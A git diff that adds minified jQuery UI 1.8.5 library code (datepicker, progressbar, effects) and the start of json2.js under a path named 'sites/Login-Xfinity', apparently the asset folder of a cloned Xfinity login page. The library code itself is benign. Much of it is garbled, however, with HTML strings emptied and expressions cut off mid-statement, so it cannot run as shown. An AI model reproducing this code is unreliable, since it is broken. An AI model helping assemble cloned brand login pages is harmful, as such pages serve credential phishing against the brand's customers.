c=this._get(b,"duration"),e=function(){d.datepicker._tidyDialog(b);this._curInst=null};d.effects&&d.effects[a]?b.dpDiv.hide(a,d.datepicker._get(b,"showOptions"),c,e):b.dpDiv[a=="slideDown"?"slideUp":a=="fadeIn"?"fadeOut":"hide"](a?c:null,e);a||e();if(a=this._get(b,"onClose"))a.apply(b.input?b.input[0]:null,[b.input?b.input.val(): +"",b]);this._datepickerShowing=false;this._lastInput=null;if(this._inDialog){this._dialogInput.css({position:"absolute",left:"0",top:"-100px"});if(d.blockUI){d.unblockUI();d("body").append(this.dpDiv)}}this._inDialog=false}},_tidyDialog:function(a){a.dpDiv.removeClass(this._dialogClass).unbind(".ui-datepicker-calendar")},_checkExternalClick:function(a){if(d.datepicker._curInst){a=d(a.target);a[0].id!=d.datepicker._mainDivId&&a.parents("#"+d.datepicker._mainDivId).length==0&&!a.hasClass(d.datepicker.markerClassName)&& +!a.hasClass(d.datepicker._triggerClass)&&d.datepicker._datepickerShowing&&!(d.datepicker._inDialog&&d.blockUI)&&d.datepicker._hideDatepicker()}},_adjustDate:function(a,b,c){a=d(a);var e=this._getInst(a[0]);if(!this._isDisabledDatepicker(a[0])){this._adjustInstDate(e,b+(c=="M"?this._get(e,"showCurrentAtPos"):0),c);this._updateDatepicker(e)}},_gotoToday:function(a){a=d(a);var b=this._getInst(a[0]);if(this._get(b,"gotoCurrent")&&b.currentDay){b.selectedDay=b.currentDay;b.drawMonth=b.selectedMonth=b.currentMonth; +b.drawYear=b.selectedYear=b.currentYear}else{var c=new Date;b.selectedDay=c.getDate();b.drawMonth=b.selectedMonth=c.getMonth();b.drawYear=b.selectedYear=c.getFullYear()}this._notifyChange(b);this._adjustDate(a)},_selectMonthYear:function(a,b,c){a=d(a);var e=this._getInst(a[0]);e._selectingMonthYear=false;e["selected"+(c=="M"?"Month":"Year")]=e["draw"+(c=="M"?"Month":"Year")]=parseInt(b.options[b.selectedIndex].value,10);this._notifyChange(e);this._adjustDate(a)},_clickMonthYear:function(a){var b= +this._getInst(d(a)[0]);b.input&&b._selectingMonthYear&&setTimeout(function(){b.input.focus()},0);b._selectingMonthYear=!b._selectingMonthYear},_selectDay:function(a,b,c,e){var f=d(a);if(!(d(e).hasClass(this._unselectableClass)||this._isDisabledDatepicker(f[0]))){f=this._getInst(f[0]);f.selectedDay=f.currentDay=d("a",e).html();f.selectedMonth=f.currentMonth=b;f.selectedYear=f.currentYear=c;this._selectDate(a,this._formatDate(f,f.currentDay,f.currentMonth,f.currentYear))}},_clearDate:function(a){a= +d(a);this._getInst(a[0]);this._selectDate(a,"")},_selectDate:function(a,b){a=this._getInst(d(a)[0]);b=b!=null?b:this._formatDate(a);a.input&&a.input.val(b);this._updateAlternate(a);var c=this._get(a,"onSelect");if(c)c.apply(a.input?a.input[0]:null,[b,a]);else a.input&&a.input.trigger("change");if(a.inline)this._updateDatepicker(a);else{this._hideDatepicker();this._lastInput=a.input[0];typeof a.input[0]!="object"&&a.input.focus();this._lastInput=null}},_updateAlternate:function(a){var b=this._get(a, +"altField");if(b){var c=this._get(a,"altFormat")||this._get(a,"dateFormat"),e=this._getDate(a),f=this.formatDate(c,e,this._getFormatConfig(a));d(b).each(function(){d(this).val(f)})}},noWeekends:function(a){a=a.getDay();return[a>0&&a<6,""]},iso8601Week:function(a){a=new Date(a.getTime());a.setDate(a.getDate()+4-(a.getDay()||7));var b=a.getTime();a.setMonth(0);a.setDate(1);return Math.floor(Math.round((b-a)/864E5)/7)+1},parseDate:function(a,b,c){if(a==null||b==null)throw"Invalid arguments";b=typeof b== +"object"?b.toString():b+"";if(b=="")return null;for(var e=(c?c.shortYearCutoff:null)||this._defaults.shortYearCutoff,f=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,h=(c?c.dayNames:null)||this._defaults.dayNames,i=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,g=(c?c.monthNames:null)||this._defaults.monthNames,k=c=-1,l=-1,u=-1,j=false,o=function(p){(p=z+1 +-1){k=1;l=u;do{e=this._getDaysInMonth(c,k-1);if(l<=e)break;k++;l-=e}while(1)}v=this._daylightSavingAdjust(new Date(c,k-1,l));if(v.getFullYear()!=c||v.getMonth()+1!=k||v.getDate()!=l)throw"Invalid date";return v},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24* +60*60*1E7,formatDate:function(a,b,c){if(!b)return"";var e=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,f=(c?c.dayNames:null)||this._defaults.dayNames,h=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort;c=(c?c.monthNames:null)||this._defaults.monthNames;var i=function(o){(o=j+112?a.getHours()+2:0);return a},_setDate:function(a,b,c){var e=!b,f=a.selectedMonth,h=a.selectedYear;b=this._restrictMinMax(a,this._determineDate(a,b,new Date));a.selectedDay=a.currentDay=b.getDate();a.drawMonth=a.selectedMonth=a.currentMonth=b.getMonth();a.drawYear=a.selectedYear=a.currentYear=b.getFullYear();if((f!=a.selectedMonth||h!=a.selectedYear)&&!c)this._notifyChange(a);this._adjustInstDate(a);if(a.input)a.input.val(e? +"":this._formatDate(a))},_getDate:function(a){return!a.currentYear||a.input&&a.input.val()==""?null:this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay))},_generateHTML:function(a){var b=new Date;b=this._daylightSavingAdjust(new Date(b.getFullYear(),b.getMonth(),b.getDate()));var c=this._get(a,"isRTL"),e=this._get(a,"showButtonPanel"),f=this._get(a,"hideIfNoPrevNext"),h=this._get(a,"navigationAsDateFormat"),i=this._getNumberOfMonths(a),g=this._get(a,"showCurrentAtPos"),k= +this._get(a,"stepMonths"),l=i[0]!=1||i[1]!=1,u=this._daylightSavingAdjust(!a.currentDay?new Date(9999,9,9):new Date(a.currentYear,a.currentMonth,a.currentDay)),j=this._getMinMaxDate(a,"min"),o=this._getMinMaxDate(a,"max");g=a.drawMonth-g;var m=a.drawYear;if(g<0){g+=12;m--}if(o){var n=this._daylightSavingAdjust(new Date(o.getFullYear(),o.getMonth()-i[0]*i[1]+1,o.getDate()));for(n=j&&nn;){g--;if(g<0){g=11;m--}}}a.drawMonth=g;a.drawYear=m;n=this._get(a, +"prevText");n=!h?n:this.formatDate(n,this._daylightSavingAdjust(new Date(m,g-k,1)),this._getFormatConfig(a));n=this._canAdjustMonth(a,-1,m,g)?''+n+"":f?"":''+ +n+"";var r=this._get(a,"nextText");r=!h?r:this.formatDate(r,this._daylightSavingAdjust(new Date(m,g+k,1)),this._getFormatConfig(a));f=this._canAdjustMonth(a,+1,m,g)?''+r+"":f?"":''+r+"";k=this._get(a,"currentText");r=this._get(a,"gotoCurrent")&&a.currentDay?u:b;k=!h?k:this.formatDate(k,r,this._getFormatConfig(a));h=!a.inline?'":"";e=e?'
    '+(c?h:"")+(this._isInRange(a,r)?'":"")+(c?"":h)+"
    ":"";h=parseInt(this._get(a,"firstDay"),10);h=isNaN(h)?0:h;k=this._get(a,"showWeek");r=this._get(a,"dayNames");this._get(a,"dayNamesShort");var s=this._get(a,"dayNamesMin"),z=this._get(a,"monthNames"),v=this._get(a,"monthNamesShort"),p=this._get(a,"beforeShowDay"),w=this._get(a,"showOtherMonths"),H=this._get(a,"selectOtherMonths");this._get(a,"calculateWeek");for(var M=this._getDefaultDate(a),I="",C=0;C1)switch(D){case 0:x+=" ui-datepicker-group-first";t=" ui-corner-"+(c?"right":"left");break;case i[1]-1:x+=" ui-datepicker-group-last";t=" ui-corner-"+(c?"left":"right");break;default:x+=" ui-datepicker-group-middle";t="";break}x+='">'}x+='
    '+(/all|left/.test(t)&&C==0?c? +f:n:"")+(/all|right/.test(t)&&C==0?c?n:f:"")+this._generateMonthYearHeader(a,g,m,j,o,C>0||D>0,z,v)+'
    ';var A=k?'":"";for(t=0;t<7;t++){var q=(t+h)%7;A+="=5?' class="ui-datepicker-week-end"':"")+'>'+s[q]+""}x+=A+"";A=this._getDaysInMonth(m,g);if(m==a.selectedYear&&g==a.selectedMonth)a.selectedDay=Math.min(a.selectedDay, +A);t=(this._getFirstDayOfMonth(m,g)-h+7)%7;A=l?6:Math.ceil((t+A)/7);q=this._daylightSavingAdjust(new Date(m,g,1-t));for(var O=0;O";var P=!k?"":'";for(t=0;t<7;t++){var F=p?p.apply(a.input?a.input[0]:null,[q]):[true,""],B=q.getMonth()!=g,K=B&&!H||!F[0]||j&&qo;P+='";q.setDate(q.getDate()+1);q=this._daylightSavingAdjust(q)}x+=P+""}g++;if(g>11){g=0;m++}x+="
    '+this._get(a,"weekHeader")+"
    '+this._get(a,"calculateWeek")(q)+""+(B&&!w?" ":K?''+q.getDate()+ +"":''+q.getDate()+"")+"
    "+(l?""+(i[0]>0&&D==i[1]-1?'
    ':""):"");N+=x}I+=N}I+=e+(d.browser.msie&&parseInt(d.browser.version,10)<7&&!a.inline?'': +"");a._keyEvent=false;return I},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var k=this._get(a,"changeMonth"),l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),j='
    ',o="";if(h||!k)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(j+=o+(h||!(k&&l)?" ":""));if(h||!l)j+=''+c+"";else{g=this._get(a,"yearRange").split(":");var r=(new Date).getFullYear();i=function(s){s=s.match(/c[+-].*/)?c+parseInt(s.substring(1),10):s.match(/[+-].*/)?r+parseInt(s,10):parseInt(s,10);return isNaN(s)?r:s};b=i(g[0]);g=Math.max(b, +i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()):g;for(j+='"}j+=this._get(a,"yearSuffix");if(u)j+=(h||!(k&&l)?" ":"")+o;j+="
    ";return j},_adjustInstDate:function(a,b,c){var e= +a.drawYear+(c=="Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a, +"onChangeMonthYear");if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); +c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, +"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= +function(a){if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b)); +return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new L;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.5";window["DP_jQuery_"+y]=d})(jQuery); +;/* + * jQuery UI Progressbar 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(b,c){b.widget("ui.progressbar",{options:{value:0},min:0,max:100,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.max,"aria-valuenow":this._value()});this.valueDiv=b("
    ").appendTo(this.element);this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); +this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===c)return this._value();this._setOption("value",a);return this},_setOption:function(a,d){if(a==="value"){this.options.value=d;this._refreshValue();this._trigger("change")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.max,Math.max(this.min,a))},_refreshValue:function(){var a=this.value();this.valueDiv.toggleClass("ui-corner-right", +a===this.max).width(a+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.5"})})(jQuery); +;/* + * jQuery UI Effects 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/ + */ +jQuery.effects||function(f,j){function l(c){var a;if(c&&c.constructor==Array&&c.length==3)return c;if(a=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(c))return[parseInt(a[1],10),parseInt(a[2],10),parseInt(a[3],10)];if(a=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(c))return[parseFloat(a[1])*2.55,parseFloat(a[2])*2.55,parseFloat(a[3])*2.55];if(a=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(c))return[parseInt(a[1], +16),parseInt(a[2],16),parseInt(a[3],16)];if(a=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(c))return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16)];if(/rgba\(0, 0, 0, 0\)/.exec(c))return m.transparent;return m[f.trim(c).toLowerCase()]}function r(c,a){var b;do{b=f.curCSS(c,a);if(b!=""&&b!="transparent"||f.nodeName(c,"body"))break;a="backgroundColor"}while(c=c.parentNode);return l(b)}function n(){var c=document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle, +a={},b,d;if(c&&c.length&&c[0]&&c[c[0]])for(var e=c.length;e--;){b=c[e];if(typeof c[b]=="string"){d=b.replace(/\-(\w)/g,function(g,h){return h.toUpperCase()});a[d]=c[b]}}else for(b in c)if(typeof c[b]==="string")a[b]=c[b];return a}function o(c){var a,b;for(a in c){b=c[a];if(b==null||f.isFunction(b)||a in s||/scrollbar/.test(a)||!/color/i.test(a)&&isNaN(parseFloat(b)))delete c[a]}return c}function t(c,a){var b={_:0},d;for(d in a)if(c[d]!=a[d])b[d]=a[d];return b}function k(c,a,b,d){if(typeof c=="object"){d= +a;b=null;a=c;c=a.effect}if(f.isFunction(a)){d=a;b=null;a={}}if(typeof a=="number"||f.fx.speeds[a]){d=b;b=a;a={}}if(f.isFunction(b)){d=b;b=null}a=a||{};b=b||a.duration;b=f.fx.off?0:typeof b=="number"?b:f.fx.speeds[b]||f.fx.speeds._default;d=d||a.complete;return[c,a,b,d]}f.effects={};f.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor","borderTopColor","color","outlineColor"],function(c,a){f.fx.step[a]=function(b){if(!b.colorInit){b.start=r(b.elem,a);b.end=l(b.end);b.colorInit= +true}b.elem.style[a]="rgb("+Math.max(Math.min(parseInt(b.pos*(b.end[0]-b.start[0])+b.start[0],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[1]-b.start[1])+b.start[1],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[2]-b.start[2])+b.start[2],10),255),0)+")"}});var m={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0,0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189, +183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255, +165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]},p=["add","remove","toggle"],s={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};f.effects.animateClass=function(c,a,b,d){if(f.isFunction(b)){d=b;b=null}return this.each(function(){var e=f(this),g=e.attr("style")||" ",h=o(n.call(this)),q,u=e.attr("className");f.each(p,function(v, +i){c[i]&&e[i+"Class"](c[i])});q=o(n.call(this));e.attr("className",u);e.animate(t(h,q),a,b,function(){f.each(p,function(v,i){c[i]&&e[i+"Class"](c[i])});if(typeof e.attr("style")=="object"){e.attr("style").cssText="";e.attr("style").cssText=g}else e.attr("style",g);d&&d.apply(this,arguments)})})};f.fn.extend({_addClass:f.fn.addClass,addClass:function(c,a,b,d){return a?f.effects.animateClass.apply(this,[{add:c},a,b,d]):this._addClass(c)},_removeClass:f.fn.removeClass,removeClass:function(c,a,b,d){return a? +f.effects.animateClass.apply(this,[{remove:c},a,b,d]):this._removeClass(c)},_toggleClass:f.fn.toggleClass,toggleClass:function(c,a,b,d,e){return typeof a=="boolean"||a===j?b?f.effects.animateClass.apply(this,[a?{add:c}:{remove:c},b,d,e]):this._toggleClass(c,a):f.effects.animateClass.apply(this,[{toggle:c},a,b,d])},switchClass:function(c,a,b,d,e){return f.effects.animateClass.apply(this,[{add:a,remove:c},b,d,e])}});f.extend(f.effects,{version:"1.8.5",save:function(c,a){for(var b=0;b").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0});c.wrap(b);b=c.parent();if(c.css("position")=="static"){b.css({position:"relative"});c.css({position:"relative"})}else{f.extend(a,{position:c.css("position"),zIndex:c.css("z-index")});f.each(["top","left","bottom","right"],function(d,e){a[e]=c.css(e);if(isNaN(parseInt(a[e],10)))a[e]="auto"}); +c.css({position:"relative",top:0,left:0})}return b.css(a).show()},removeWrapper:function(c){if(c.parent().is(".ui-effects-wrapper"))return c.parent().replaceWith(c);return c},setTransition:function(c,a,b,d){d=d||{};f.each(a,function(e,g){unit=c.cssUnit(g);if(unit[0]>0)d[g]=unit[0]*b+unit[1]});return d}});f.fn.extend({effect:function(c){var a=k.apply(this,arguments);a={options:a[1],duration:a[2],callback:a[3]};var b=f.effects[c];return b&&!f.fx.off?b.call(this,a):this},_show:f.fn.show,show:function(c){if(!c|| +typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._show.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="show";return this.effect.apply(this,a)}},_hide:f.fn.hide,hide:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c])return this._hide.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="hide";return this.effect.apply(this,a)}},__toggle:f.fn.toggle,toggle:function(c){if(!c||typeof c=="number"||f.fx.speeds[c]||!f.effects[c]||typeof c== +"boolean"||f.isFunction(c))return this.__toggle.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="toggle";return this.effect.apply(this,a)}},cssUnit:function(c){var a=this.css(c),b=[];f.each(["em","px","%","pt"],function(d,e){if(a.indexOf(e)>0)b=[parseFloat(a),e]});return b}});f.easing.jswing=f.easing.swing;f.extend(f.easing,{def:"easeOutQuad",swing:function(c,a,b,d,e){return f.easing[f.easing.def](c,a,b,d,e)},easeInQuad:function(c,a,b,d,e){return d*(a/=e)*a+b},easeOutQuad:function(c, +a,b,d,e){return-d*(a/=e)*(a-2)+b},easeInOutQuad:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a+b;return-d/2*(--a*(a-2)-1)+b},easeInCubic:function(c,a,b,d,e){return d*(a/=e)*a*a+b},easeOutCubic:function(c,a,b,d,e){return d*((a=a/e-1)*a*a+1)+b},easeInOutCubic:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a+b;return d/2*((a-=2)*a*a+2)+b},easeInQuart:function(c,a,b,d,e){return d*(a/=e)*a*a*a+b},easeOutQuart:function(c,a,b,d,e){return-d*((a=a/e-1)*a*a*a-1)+b},easeInOutQuart:function(c,a,b,d,e){if((a/= +e/2)<1)return d/2*a*a*a*a+b;return-d/2*((a-=2)*a*a*a-2)+b},easeInQuint:function(c,a,b,d,e){return d*(a/=e)*a*a*a*a+b},easeOutQuint:function(c,a,b,d,e){return d*((a=a/e-1)*a*a*a*a+1)+b},easeInOutQuint:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a*a*a+b;return d/2*((a-=2)*a*a*a*a+2)+b},easeInSine:function(c,a,b,d,e){return-d*Math.cos(a/e*(Math.PI/2))+d+b},easeOutSine:function(c,a,b,d,e){return d*Math.sin(a/e*(Math.PI/2))+b},easeInOutSine:function(c,a,b,d,e){return-d/2*(Math.cos(Math.PI*a/e)-1)+ +b},easeInExpo:function(c,a,b,d,e){return a==0?b:d*Math.pow(2,10*(a/e-1))+b},easeOutExpo:function(c,a,b,d,e){return a==e?b+d:d*(-Math.pow(2,-10*a/e)+1)+b},easeInOutExpo:function(c,a,b,d,e){if(a==0)return b;if(a==e)return b+d;if((a/=e/2)<1)return d/2*Math.pow(2,10*(a-1))+b;return d/2*(-Math.pow(2,-10*--a)+2)+b},easeInCirc:function(c,a,b,d,e){return-d*(Math.sqrt(1-(a/=e)*a)-1)+b},easeOutCirc:function(c,a,b,d,e){return d*Math.sqrt(1-(a=a/e-1)*a)+b},easeInOutCirc:function(c,a,b,d,e){if((a/=e/2)<1)return-d/ +2*(Math.sqrt(1-a*a)-1)+b;return d/2*(Math.sqrt(1-(a-=2)*a)+1)+b},easeInElastic:function(c,a,b,d,e){c=1.70158;var g=0,h=d;if(a==0)return b;if((a/=e)==1)return b+d;g||(g=e*0.3);if(h").css({position:"absolute",visibility:"visible",left:-f*(h/d),top:-e*(i/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:h/d,height:i/c,left:g.left+f*(h/d)+(a.options.mode=="show"?(f-Math.floor(d/2))*(h/d):0),top:g.top+e*(i/c)+(a.options.mode=="show"?(e-Math.floor(c/2))*(i/c):0),opacity:a.options.mode=="show"?0:1}).animate({left:g.left+f*(h/d)+(a.options.mode=="show"?0:(f-Math.floor(d/2))*(h/d)),top:g.top+ +e*(i/c)+(a.options.mode=="show"?0:(e-Math.floor(c/2))*(i/c)),opacity:a.options.mode=="show"?1:0},a.duration||500);setTimeout(function(){a.options.mode=="show"?b.css({visibility:"visible"}):b.css({visibility:"visible"}).hide();a.callback&&a.callback.apply(b[0]);b.dequeue();j("div.ui-effects-explode").remove()},a.duration||500)})}})(jQuery); +;/* + * jQuery UI Effects Fade 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fade + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.fade=function(a){return this.queue(function(){var c=b(this),d=b.effects.setMode(c,a.options.mode||"hide");c.animate({opacity:d},{queue:false,duration:a.duration,easing:a.options.easing,complete:function(){a.callback&&a.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Fold 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fold + * + * Depends: + * jquery.effects.core.js + */ +(function(c){c.effects.fold=function(a){return this.queue(function(){var b=c(this),j=["position","top","left"],d=c.effects.setMode(b,a.options.mode||"hide"),g=a.options.size||15,h=!!a.options.horizFirst,k=a.duration?a.duration/2:c.fx.speeds._default/2;c.effects.save(b,j);b.show();var e=c.effects.createWrapper(b).css({overflow:"hidden"}),f=d=="show"!=h,l=f?["width","height"]:["height","width"];f=f?[e.width(),e.height()]:[e.height(),e.width()];var i=/([0-9]+)%/.exec(g);if(i)g=parseInt(i[1],10)/100* +f[d=="hide"?0:1];if(d=="show")e.css(h?{height:0,width:g}:{height:g,width:0});h={};i={};h[l[0]]=d=="show"?f[0]:g;i[l[1]]=d=="show"?f[1]:0;e.animate(h,k,a.options.easing).animate(i,k,a.options.easing,function(){d=="hide"&&b.hide();c.effects.restore(b,j);c.effects.removeWrapper(b);a.callback&&a.callback.apply(b[0],arguments);b.dequeue()})})}})(jQuery); +;/* + * jQuery UI Effects Highlight 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Highlight + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.highlight=function(c){return this.queue(function(){var a=b(this),e=["backgroundImage","backgroundColor","opacity"],d=b.effects.setMode(a,c.options.mode||"show"),f={backgroundColor:a.css("backgroundColor")};if(d=="hide")f.opacity=0;b.effects.save(a,e);a.show().css({backgroundImage:"none",backgroundColor:c.options.color||"#ffff99"}).animate(f,{queue:false,duration:c.duration,easing:c.options.easing,complete:function(){d=="hide"&&a.hide();b.effects.restore(a,e);d=="show"&&!b.support.opacity&& +this.style.removeAttribute("filter");c.callback&&c.callback.apply(this,arguments);a.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Pulsate 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Pulsate + * + * Depends: + * jquery.effects.core.js + */ +(function(d){d.effects.pulsate=function(a){return this.queue(function(){var b=d(this),c=d.effects.setMode(b,a.options.mode||"show");times=(a.options.times||5)*2-1;duration=a.duration?a.duration/2:d.fx.speeds._default/2;isVisible=b.is(":visible");animateTo=0;if(!isVisible){b.css("opacity",0).show();animateTo=1}if(c=="hide"&&isVisible||c=="show"&&!isVisible)times--;for(c=0;c').appendTo(document.body).addClass(a.options.className).css({top:d.top,left:d.left,height:b.innerHeight(),width:b.innerWidth(),position:"absolute"}).animate(c,a.duration,a.options.easing,function(){f.remove();a.callback&&a.callback.apply(b[0],arguments); +b.dequeue()})})}})(jQuery); +; \ No newline at end of file diff --git a/sites/Login-Xfinity/Xfinity_files/json2.js b/sites/Login-Xfinity/Xfinity_files/json2.js new file mode 100755 index 0000000..8ccf997 --- /dev/null +++ b/sites/Login-Xfinity/Xfinity_files/json2.js @@ -0,0 +1,482 @@ +/* + http://www.JSON.org/json2.js + 2010-08-25 + + Public Domain. + + NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK. + + See http://www.JSON.org/js.html + + + This code should be minified before deployment. + See http://javascript.crockford.com/jsmin.html + + USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO + NOT CONTROL. + + + This file creates a global JSON object containing two methods: stringify + and parse. + + JSON.stringify(value, replacer, space) + value any JavaScript value, usually an object or array. + + replacer an optional parameter that determines how object + values are stringified for objects. It can be a + function or an array of strings. + + space an optional parameter that specifies the indentation + of nested structures. If it is omitted, the text will + be packed without extra whitespace. If it is a number, + it will specify the number of spaces to indent at each + level. If it is a string (such as '\t' or ' '), + it contains 